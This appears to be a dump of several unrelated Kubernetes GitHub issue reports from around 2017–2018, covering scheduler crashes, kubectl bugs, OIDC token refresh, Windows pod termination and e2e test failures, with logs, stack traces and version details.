for node \ node2\ : node \ node2\  is invalid: status.addresses 4 : duplicate value: api.nodeaddress{type:\ internalip\ , address:\ fc00:10:20:107:250:56ff:fe8e:4437\ }\r

i'm trying to setup a new cluster from scratch, but i find the lack of decent documentation disturbing. it seems most suggestions fall into one of those categories:\r \r - use a hosted solution: this is a no-go for my project. we need to admin this ourselves\r - use a deploy script  kubeadm, kargo : also a no-go. most projects don't really explain how the security is configured, or why it is configured in that way.\r - kubernetes from scratch: the only thing that resembles a getting started guide for new administrators, but it doesn't go into much detail why that particular security configuration was chosen and what other options are available.\r - the reference documentation: these only contain a one-liner explaining the commandline options. that's enough to configure kubernetes.\r \r so, what am i missing here? i want to get a good overview of all the possible setups and implications of a particular setup, but i can't find it anywhere.

bug report  \r \r   kubernetes version    use  kubectl version  :\r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3+coreos.1\ , gitcommit:\ bc000d3336a0b11155ac222193e6f24b6dcb5cd1\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t00:19:21z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   self-hosted  :\r -   os   \r container linux by coreos 1353.7.0  master + most nodes \r and \r container linux by coreos 1298.5.0  some nodes \r -   kernel   \r 1353.7.0:   4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2620 0 @ 2.00ghz genuineintel gnu/linux  \r 1298.5.0:   linux alien8 4.9.9-coreos-r1  1 smp tue feb 28 00:06:10 utc 2017 x86_64 intel r  xeon r  cpu e5-2620 0 @ 2.00ghz genuineintel gnu/linux  \r -   install tools  :\r hyperkube  https://coreos.com/kubernetes/docs/latest/getting-started.html \r -   others  :\r - the underlying hypervisor is esxi 5.5\r - kubelet is running in rkt, other kubernetes components  incl. scheduler  are running in docker\r - the etcd cluster  3 nodes  is v3.0.10, running inside of rkt containers  using the coreos etcd-member.service  \r \r   what happened  :\r \r after some testing with my private image registry  using the docs at https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/  i had some problems with the kube-scheduler.\r creating a new pod e.g.\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: privateimage-test\r spec:\r   containers:\r     - name: private-container\r       image: server:4567/namespace/container:tag\r   imagepullsecrets:\r     - name: privateregkey\r    \r kills the kube-scheduler \r    \r i0524 13:22:55.458837       1 event.go:217  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ privateimage-test\ , uid:\ ff287e49-4083-11e7-8c95-005056b70482\ , apiversion:\ v1\ , resourceversion:\ 4460349\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned privateimage-test to alien6\r e0524 13:29:33.440433       1 cache.go:290  pod default/privateimage-test removed from a different node than previously added to.\r f0524 13:29:33.440454       1 cache.go:291  schedulercache is corrupted and can badly affect scheduling decisions\r    \r the kube-scheduler is restarted by kubelet and the pod is started after that.\r \r some output from kubelet\r \r    \r may 24 15:29:34 alien1 kubelet-wrapper 1634 : e0524 13:29:34.085188    1634 event.go:259  could not construct reference to: '&v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-scheduler-alien1\ , uid:\ cd159dc8e8cca207146c55f953a24533\ , apiversion:\ v1\ , resourceversion:\ \ , fieldpath:\ spec.containers{kube-scheduler}\ }' due to: 'object does not implement the list interfaces'. will not report event: 'warning' 'unhealthy' 'liveness probe failed: get http://127.0.0.1:10251/healthz: dial tcp 127.0.0.1:10251: getsockopt: connection refused'\r may 24 15:29:34 alien1 kubelet-wrapper 1634 : i0524 13:29:34.407447    1634 kuberuntime_manager.go:458  container {name:kube-scheduler image:quay.io/coreos/hyperkube:v1.6.3_coreos.1 command: /hyperkube scheduler --master=http://127.0.0.1:8080 --leader-elect=true  args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts:   livenessprobe:&probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/healthz,port:10251,host:127.0.0.1,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:15,timeoutseconds:1,periodseconds:10,successthreshold:1,failurethreshold:3,} readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r may 24 15:29:34 alien1 kubelet-wrapper 1634 : i0524 13:29:34.407623    1634 kuberuntime_manager.go:742  checking backoff for container \ kube-scheduler\  in pod \ kube-scheduler-alien1_kube-system cd159dc8e8cca207146c55f953a24533 \ \r may 24 15:29:34 alien1 kubelet-wrapper 1634 : i0524 13:29:34.407815    1634 kuberuntime_manager.go:752  back-off 1m20s restarting failed container=kube-scheduler pod=kube-scheduler-alien1_kube-system cd159dc8e8cca207146c55f953a24533 \r may 24 15:29:34 alien1 kubelet-wrapper 1634 : e0524 13:29:34.407895    1634 pod_workers.go:182  error syncing pod cd159dc8e8cca207146c55f953a24533  \ kube-scheduler-alien1_kube-system cd159dc8e8cca207146c55f953a24533 \  , skipping: failed to \ startcontainer\  for \ kube-scheduler\  with crashloopbackoff: \ back-off 1m20s restarting failed container=kube-scheduler pod=kube-scheduler-alien1_kube-system cd159dc8e8cca207146c55f953a24533 \ \r may 24 15:29:44 alien1 kubelet-wrapper 1634 : i0524 13:29:44.085354    1634 kuberuntime_manager.go:458  container {name:kube-scheduler image:quay.io/coreos/hyperkube:v1.6.3_coreos.1 command: /hyperkube scheduler --master=http://127.0.0.1:8080 --leader-elect=true  args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts:   livenessprobe:&probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/healthz,port:10251,host:127.0.0.1,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:15,timeoutseconds:1,periodseconds:10,successthreshold:1,failurethreshold:3,} readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r may 24 15:29:44 alien1 kubelet-wrapper 1634 : i0524 13:29:44.085464    1634 kuberuntime_manager.go:742  checking backoff for container \ kube-scheduler\  in pod \ kube-scheduler-alien1_kube-system cd159dc8e8cca207146c55f953a24533 \ \r may 24 15:29:44 alien1 kubelet-wrapper 1634 : i0524 13:29:44.085588    1634 kuberuntime_manager.go:752  back-off 1m20s restarting failed container=kube-scheduler pod=kube-scheduler-alien1_kube-system cd159dc8e8cca207146c55f953a24533 \r may 24 15:29:44 alien1 kubelet-wrapper 1634 : e0524 13:29:44.085627    1634 pod_workers.go:182  error syncing pod cd159dc8e8cca207146c55f953a24533  \ kube-scheduler-alien1_kube-system cd159dc8e8cca207146c55f953a24533 \  , skipping: failed to \ startcontainer\  for \ kube-scheduler\  with crashloopbackoff: \ back-off 1m20s restarting failed container=kube-scheduler pod=kube-scheduler-alien1_kube-system cd159dc8e8cca207146c55f953a24533 \ \r    \r the journal entry right before that shows:\r  may 24 15:29:33 alien1 dockerd 1757 : time=\ 2017-05-24t15:29:33.460151779+02:00\  level=error msg=\ error closing logger: invalid argument\  \r \r \r creating a new pod with sth. like  /kubectl run busybox --image busybox /bin/sh  does   not   kill the scheduler!\r \r \r   what you expected to happen  :\r the scheduler should not die : \r \r   how to reproduce it   :\r \r not sure, the cluster worked ~ 30days without problems. the problem started after working with my private image registry. before that i updated k8s from 1.6.1 to .1.6.3.\r \r   anything else we need to know  :\r \r i restarted the master after the problem first occurred  that helped before with some other problems

i have deployed kubernetes on two worker nodes. on the master node 192.168.6.130 , i installed etcd docker kube-apiserver kube-controller-manager and kube-scheduler. on the minion node 192.168.6.131 , i installed flanneld docker kube-proxy and kubelet. then i configured two-way tls communication between two nodes.\r \r the configuration process refer to the following file: \r https://www.kubernetes.org.cn/648.html\r \r but i have a question after configuring the  two-way tls communication as follows:\r ! image  https://user-images.githubusercontent.com/28377923/27334276-5ae91972-55fb-11e7-9165-488b3d6dad28.png \r \r then i add the authentication parameters, but the result isn't changed:\r ! image  https://user-images.githubusercontent.com/28377923/27334448-efb5e404-55fb-11e7-8476-eb568ec7f34a.png \r \r thanks for every kind friend helping me .

 \r   what happened  :\r \r from a container running inside of a cluster:\r    \r   kubectl get po --request-timeout=11s\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r \r   what you expected to happen  :\r \r    \r   kubectl get po --request-timeout=11s\r ...long list of pods here...\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - run a container with kubectl installed  i used an ubuntu container \r -  kubectl get po  <- this works\r -  kubectl get po --request-timeout=11s  <- this fails\r \r   anything else we need to know?  :\r \r looking through the logs -v=8, it looks like --request-timeout bypasses the part where it realizes that in-cluster mode is enabled.\r \r   environment  :\r - kubernetes version  use  kubectl version  : i tested v.1.6.3 through v1.7.1\r - cloud provider or hardware configuration  : parallels hypervisor\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  : linux ubuntu 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  : deleted pods on windows nodes stay in \ terminating\  state. the containers are deleted properly on the node but the controller-manager pod object is never removed, preventing the pod from being recreated by a deployment.\r \r   what you expected to happen  : deleted pods are removed from both the node and the controller-manager.\r \r   how to reproduce it  as minimally and precisely as possible   : deploy a pod to a windows node, then delete it. the stuck pod object can be removed with  kubectl delete pods $podname --force --grace-period=0 .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:  windows  https://kubernetes.io/docs/getting-started-guides/windows/  with manual network configuration.\r - os  e.g. from /etc/os-release : windows insider preview\r - install tools: kubeadm\r

seems to be a regression on the kubelet-side. ref job - https://k8s-testgrid.appspot.com/google-gce-scale gce-scale-performance\r \r run 27 was fine  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/27/artifacts/podstartuplatency_density_2017-09-04t10:24:45z.json  -\r \r    \r       \ data\ : {\r         \ perc100\ : 4482.739935,\r         \ perc50\ : 1776.387197,\r         \ perc90\ : 2446.611714,\r         \ perc99\ : 3139.68287\r       },\r       \ unit\ : \ ms\ ,\r       \ labels\ : {\r         \ metric\ : \ pod_startup\ \r       }\r    \r \r run 28 regressed  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/28/artifacts/podstartuplatency_density_2017-09-06t20:20:22z.json  -\r \r    \r       \ data\ : {\r         \ perc100\ : 25293.880645,\r         \ perc50\ : 1800.683666,\r         \ perc90\ : 2571.957657,\r         \ perc99\ : 16023.080663\r       },\r       \ unit\ : \ ms\ ,\r       \ labels\ : {\r         \ metric\ : \ pod_startup\ \r       }\r    \r \r cc @kubernetes/sig-node-bugs @kubernetes/sig-scalability-misc @yujuhong @random-liu \r \r i'm looking at the  diff  https://github.com/kubernetes/kubernetes/compare/034c40be6f465d...150a560eed43a1  to find the fauilty pr. any leads would be appreciated :

is this a bug report or feature request?  :\r  \r   what happened  :\r when use remote container runtime, the remote can't get any podsandboximage config set by kubelet  --pod-infra-container-image  \r \r   what you expected to happen  :\r we want the all container runtime should know what's right podsandboximage\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. add in new node with  frakti  https://github.com/kubernetes/frakti  into k8s cluster\r 2. the kubelet with  --pod-infra-container-image=goby/pause-amd64:3.0 --container-runtime=remote --container-runtime-endpoint=/var/run/frakti.sock  options\r 3. i expect frakti can create sandbox container with  goby/pause-amd64:3.0 , but get default  gcr.io/google_containers/pause-amd64:3.0  k8s version: v1.8.2 \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: bootstrap by kubeadm v1.8.2\r - os  e.g. from /etc/os-release : debian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  : smp debian 4.9.30-2+deb9u2  2017-06-26  x86_64 gnu/linux\r - install tools: kubeadm\r - others: \r

is this a bug report or feature request?  :\r  \r @kubernetes/sig-network-bugs \r @kubernetes/sig-scalability-bugs \r / \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/65 failed with:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:135\r expected error:\r     < errors.errorstring | 0xc43b4a73d0>: {\r         s: \ container l7-lb-controller-v0.9.7-gce-scale-cluster-master/l7-lb-controller is using 0.704569649/0.6998 cpu\ ,\r     }\r     container l7-lb-controller-v0.9.7-gce-scale-cluster-master/l7-lb-controller is using 0.704569649/0.6998 cpu\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:365\r    \r \r attached graph shows that it's not a huge increase from normal usage.\r dear sig networking, is this expected? should we just bump the limit?\r ! l7  https://user-images.githubusercontent.com/489420/33017724-abf3a312-cdf3-11e7-967c-eff70470af4c.png \r \r please note this is in a release-blocking job.\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r i am using google as an oidc provider. in order to use web-based authorization alongside  kubectl /the cli, i have set up the recommended configuration with two separate sets of oauth2 client credentials, with the web client id being the client id set on the api server. this does work and we've been able to authenticate both kubernetes dashboard _and_  kubectl  with the same user.\r \r however, when the id token expires and a refresh is attempted, the refresh does unexpected things to the token.\r \r the original token looks like this:\r \r    \r ...\r   \ azp\ : \ cli_client_id\ ,\r   \ aud\ : \ web_client_id\ ,\r ...\r    \r \r after refresh, it looks like this:\r    \r ...\r   \ azp\ : \ cli_client_id\ ,\r   \ aud\ : \ cli_client_id\ ,\r ...\r    \r \r and then the  kubectl  command fails:\r    \r error: you must be logged in to the server  the server has asked for the client to provide credentials \r    \r \r   what you expected to happen  :\r \r i expected the audience and azp to remain the same throughout the refresh. maybe my  custom  authorization is incorrect?\r \r i am not confident that this has anything to do with kubernetes, but after a month of trying to get this to work i'm at wits end and browsing through endless issue pages and google groups has gotten me nowhere. if there's no bug in kubernetes, i hope to learn what i'm doing wrong at the very least so we can stop manually getting new tokens every hour or so.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create two sets of credentials on google cloud api credentials manager, one with web and one with other, under the same project.\r \r 2. assign the api server to the web set of credentials.\r \r 3. perform authorization using  cli_client_id , then when getting tokens, add a scope for the audience claim:  audience:server:client_id:web_client_id .\r \r 4. add information to  ~/.kube/config . verify that it works.\r \r 5. after the id token expires, run any authenticated  kubectl  command  i.e.  kubectl get pods  \r \r 6. it should fail, and now the id token will contain the wrong audience.\r \r \r   anything else we need to know?  :\r \r as mentioned, the setup does work other than this issue. i am using a custom  oidc-helper  utility to do the authentication, and a custom  oidc-proxy  for kubernetes dashboard. even kubernetes aside, i wish there was more documentation around audiences and authorized parties with regards to google's oidc provider : \r \r   environment  :\r - kubernetes version:  client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ } \r \r  details about the kubernetes cluster are irrelevant; this problem can be reproduced even without being able to reach the api server, so it is purely client-side.

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r running  kubectl get pods --namespace=kube-system  with large amount of pods  over 100 at least? but there might be something else as it crashed after updating the deployment several times  seems to crash  kubectl . tested with kubectl 1.11.1 - broken, downgrading to 1.10.5 and all works fine.\r \r   what you expected to happen  :\r not crash :thinking: \r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure, probably spam a lot of containers? i've linked the json it is trying to parse is uploaded here  too long to gist : https://repo.foxiehost.eu/pods.json\r \r   anything else we need to know?  :\r stack trace:\r    \r   kubectl get pods --namespace=kube-system  \r panic: runtime error: index out of range\r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/printers.printtable 0xc420e5e000, 0x1893a20, 0xc4207e9c00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/printers/humanreadable.go:366 +0x5d6\r k8s.io/kubernetes/pkg/printers.  humanreadableprinter .printobj 0xc420a12300, 0x189d3c0, 0xc420e5e000, 0x1893a20, 0xc4207e9c00, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/printers/humanreadable.go:286 +0x7ca\r k8s.io/kubernetes/pkg/printers. resourceprinter .printobj-fm 0x189d3c0, 0xc420e5e000, 0x1893a20, 0xc4207e9c00, 0x1892b20, 0xc420ffe3c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:252 +0x57\r k8s.io/kubernetes/pkg/printers.resourceprinterfunc.printobj 0xc420bad5c0, 0x189d3c0, 0xc420e5e000, 0x1893a20, 0xc4207e9c00, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/printers/interface.go:38 +0x4e\r k8s.io/kubernetes/pkg/kubectl/cmd/get.  getoptions .run 0xc420336380, 0x18c6de0, 0xc42057cfc0, 0xc42029c280, 0xc4205e60c0, 0x1, 0x2, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:444 +0xae9\r k8s.io/kubernetes/pkg/kubectl/cmd/get.newcmdget.func1 0xc42029c280, 0xc4205e60c0, 0x1, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:159 +0x115\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42029c280, 0xc4205e6060, 0x2, 0x2, 0xc42029c280, 0xc4205e6060 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc42037b180, 0xc42026d410, 0x12a05f200, 0xc4209f5ee8 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x30a\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42037b180, 0x17ea8b0, 0x23ee060 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:50 +0x196\r    \r \r or if you prefer with higher verbosity\r    \r   kubectl get pods --namespace=kube-system   --v=8\r i0719 14:12:30.192831   34974 loader.go:359  config loaded from file /home/ashley/.kube/config\r i0719 14:12:30.193064   34974 loader.go:359  config loaded from file /home/ashley/.kube/config\r i0719 14:12:30.193423   34974 loader.go:359  config loaded from file /home/ashley/.kube/config\r i0719 14:12:30.198949   34974 loader.go:359  config loaded from file /home/ashley/.kube/config\r i0719 14:12:30.199210   34974 round_trippers.go:383  get http://localhost:8080/api/v1/namespaces/kube-system/pods?limit=500\r i0719 14:12:30.199223   34974 round_trippers.go:390  request headers:\r i0719 14:12:30.199229   34974 round_trippers.go:393      accept: application/json;as=table;v=v1beta1;g=meta.k8s.io, application/json\r i0719 14:12:30.199234   34974 round_trippers.go:393      user-agent: kubectl/v1.11.1  linux/amd64  kubernetes/b1b2997\r i0719 14:12:30.209788   34974 round_trippers.go:408  response status: 200 ok in 10 milliseconds\r i0719 14:12:30.209803   34974 round_trippers.go:411  response headers:\r i0719 14:12:30.209808   34974 round_trippers.go:414      content-type: application/json\r i0719 14:12:30.209812   34974 round_trippers.go:414      date: thu, 19 jul 2018 12:12:30 gmt\r i0719 14:12:30.210337   34974 request.go:897  response body: {\ kind\ :\ table\ ,\ apiversion\ :\ meta.k8s.io/v1beta1\ ,\ metadata\ :{\ selflink\ :\ /api/v1/namespaces/kube-system/pods\ ,\ resourceversion\ :\ 1214855237\ },\ columndefinitions\ : {\ name\ :\ name\ ,\ type\ :\ string\ ,\ format\ :\ name\ ,\ description\ :\ name must be unique within a namespace. is required when creating resources, although some resources may allow a client to request the generation of an appropriate name automatically. name is primarily intended for creation idempotence and configuration definition. cannot be updated. more info: http://kubernetes.io/docs/user-guide/identifiers names\ ,\ priority\ :0},{\ name\ :\ ready\ ,\ type\ :\ string\ ,\ format\ :\ \ ,\ description\ :\ the aggregate readiness state of this pod for accepting traffic.\ ,\ priority\ :0},{\ name\ :\ status\ ,\ type\ :\ string\ ,\ format\ :\ \ ,\ description\ :\ the aggregate status of the containers in this pod.\ ,\ priority\ :0},{\ name\ :\ restarts\ ,\ type\ :\ integer\ ,\ format\ :\ \ ,\ description\ :\ the number of times the containers in this pod have been restarted.\ ,\ priority\ :0},{\ name\ :\ age\ ,\ type  truncated 98737 chars \r i0719 14:12:30.224052   34974 get.go:443  no kind is registered for the type v1beta1.table\r panic: runtime error: index out of range\r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/printers.printtable 0xc420bcf280, 0x1893a20, 0xc420721b00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/printers/humanreadable.go:366 +0x5d6\r k8s.io/kubernetes/pkg/printers.  humanreadableprinter .printobj 0xc420d700c0, 0x189d3c0, 0xc420bcf280, 0x1893a20, 0xc420721b00, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/printers/humanreadable.go:286 +0x7ca\r k8s.io/kubernetes/pkg/printers. resourceprinter .printobj-fm 0x189d3c0, 0xc420bcf280, 0x1893a20, 0xc420721b00, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:252 +0x57\r k8s.io/kubernetes/pkg/printers.resourceprinterfunc.printobj 0xc420ab3ec0, 0x189d3c0, 0xc420bcf280, 0x1893a20, 0xc420721b00, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/printers/interface.go:38 +0x4e\r k8s.io/kubernetes/pkg/kubectl/cmd/get.  getoptions .run 0xc42034c380, 0x18c6de0, 0xc42074d200, 0xc420718280, 0xc4205e7f80, 0x1, 0x3, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:444 +0xae9\r k8s.io/kubernetes/pkg/kubectl/cmd/get.newcmdget.func1 0xc420718280, 0xc4205e7f80, 0x1, 0x3 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get/get.go:159 +0x115\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420718280, 0xc4205e7ef0, 0x3, 0x3, 0xc420718280, 0xc4205e7ef0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4201e2f00, 0xc4200fb410, 0x12a05f200, 0xc4209dfee8 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x30a\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4201e2f00, 0x17ea8b0, 0x23ee060 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:50 +0x196\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: onprem\r - os  e.g. from /etc/os-release : debian\r - kernel  e.g.  uname -a  : debian 4.9\r - install tools: built from source\r \r ashley\r

is this a bug report or feature request?  :\r   \r   what happened  :\r e2e tests for ceph-csi rbd/cephfs  volume don't exist.\r \r   what you expected to happen  :\r e2e tests for ceph-csi rbd/cephfs  should exist.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run e2e tests, for example with    --ginkgo.focus=\ . csi volumes. \ .   \r \r   anything else we need to know?  :\r  \r   environment  :\r - kubernetes version: k8s v1.12-alpha\r

in kubernetes 1.11 when kubeletpluginswatcher feature gate is enabled, the label manager labels the node with the node name instead of the nodeid that is supplied by the driver. the nodeid the driver uses is not necessarily the node name.\r \r this functionality seems to have been fixed in kubernetes 1.12 when it went beta, i presume it just needs to be cherry-picked back to 1.11 as well.\r \r   \r /assign @verult \r for triage or solution

networking in k8s seems to have quite a few base image dependencies be it kernel configuration or user space tools. to ensure cross distro/base image compatibility for k8s,  1. these dependencies needs to be documented  2. a node conformance tests needs to be added that ensures that these dependencies are satisfied 3. functional tests _must_ exist that exercise these dependencies  we should complete at-least  1  sooni ish .  cc @kubernetes/sig-network @freehan @thockin @luxas

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/551/  failed: diffresources {e2e.go}      error: 18 leaked resources +name                                   machine_type   preemptible  creation_timestamp +gke-jenkins-e2e-default-pool-9ee11a84  n1-standard-2               2016-10-04t15:55:23.757-07:00 +name                                       zone        network      managed  instances +gke-jenkins-e2e-default-pool-9ee11a84-grp  us-east1-d  jenkins-e2e  yes      3 +name                                        zone        machine_type   preemptible  internal_ip  external_ip      status +gke-jenkins-e2e-default-pool-9ee11a84-44mq  us-east1-d  n1-standard-2               10.240.0.4   104.196.222.252  running +gke-jenkins-e2e-default-pool-9ee11a84-ml2c  us-east1-d  n1-standard-2               10.240.0.2   104.196.119.112  running +gke-jenkins-e2e-default-pool-9ee11a84-toeb  us-east1-d  n1-standard-2               10.240.0.3   104.196.174.183  running +name                                        zone        size_gb  type         status +gke-jenkins-e2e-default-pool-9ee11a84-44mq  us-east1-d  100      pd-standard  ready +gke-jenkins-e2e-default-pool-9ee11a84-ml2c  us-east1-d  100      pd-standard  ready +gke-jenkins-e2e-default-pool-9ee11a84-toeb  us-east1-d  100      pd-standard  ready +gke-jenkins-e2e-f5fe4019-f0da5091-8a85-11e6-bdc4-42010af00009  jenkins-e2e  10.188.1.0/24  us-east1-d/instances/gke-jenkins-e2e-default-pool-9ee11a84-toeb  1000 +gke-jenkins-e2e-f5fe4019-f376cba4-8a85-11e6-bdc4-42010af00009  jenkins-e2e  10.188.2.0/24  us-east1-d/instances/gke-jenkins-e2e-default-pool-9ee11a84-ml2c  1000 +gke-jenkins-e2e-f5fe4019-f42fbaf9-8a85-11e6-bdc4-42010af00009  jenkins-e2e  10.188.0.0/24  us-east1-d/instances/gke-jenkins-e2e-default-pool-9ee11a84-44mq  1000 +gke-jenkins-e2e-f5fe4019-all  jenkins-e2e  10.188.0.0/14      tcp,udp,icmp,esp,ah,sctp +gke-jenkins-e2e-f5fe4019-ssh  jenkins-e2e  104.196.120.27/32  tcp:22                                  gke-jenkins-e2e-f5fe4019-node +gke-jenkins-e2e-f5fe4019-vms  jenkins-e2e  10.240.0.0/16 